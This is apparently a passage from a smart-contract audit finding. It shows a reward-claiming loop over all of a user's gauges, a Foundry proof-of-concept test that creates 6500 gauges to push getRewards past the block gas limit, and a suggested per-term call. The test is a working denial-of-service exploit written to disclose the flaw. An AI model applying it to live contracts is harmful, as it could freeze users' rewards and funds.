function claimRewards(
    address user
) external returns (uint256 creditEarned) {
    address[] memory gauges = GuildToken(guild).userGauges(user);
    for (uint256 i = 0; i < gauges.length; ) {
        creditEarned += claimGaugeRewards(user, gauges[i]);
        unchecked {
            ++i;
        }
    }
}
    // Put inside test/unit/loan/SurplusGuildMinter.t.sol
    function test_dos() public {
        address alice = address(789);

        // Number of terms that triggers OOG for stake/unstake/getReward
        uint256 numTerms = 6500;
        address[] memory terms = new address[](numTerms);

        guild.setMaxGauges(numTerms + 1);

        credit.mint(alice, 10e18);

        // Alice stakes Credit tokens
        vm.startPrank(alice);
        credit.approve(address(sgm), 10e18);
        sgm.stake(term, 10e18);
        vm.stopPrank();

        // Create terms
        credit.mint(address(this), 10e18 * numTerms);
        credit.approve(address(sgm), 10e18 * numTerms);
        for (uint256 i; i < numTerms; i++) {
            address _term = address(new MockLendingTerm(address(core)));
            terms[i] = _term;
            guild.addGauge(1, _term); // gaugeType = 1
            sgm.stake(_term, 10e18);
        }

        uint256 gasBefore =  gasleft();

        // Alice tries to call getRewards()
        sgm.getRewards(alice, term);

        uint256 gasAfter =  gasleft();

        uint256 BLOCK_GAS_LIMIT = 30e6;
        
        // getRewards() consumes more gas than block gas limit of 30Mil
        // reverts with OOG
        require(gasBefore - gasAfter > BLOCK_GAS_LIMIT);
    }
ProfitManager(profitManager).claimRewards(address(this), term)
ProfitManager(profitManager).claimRewards(address(this))
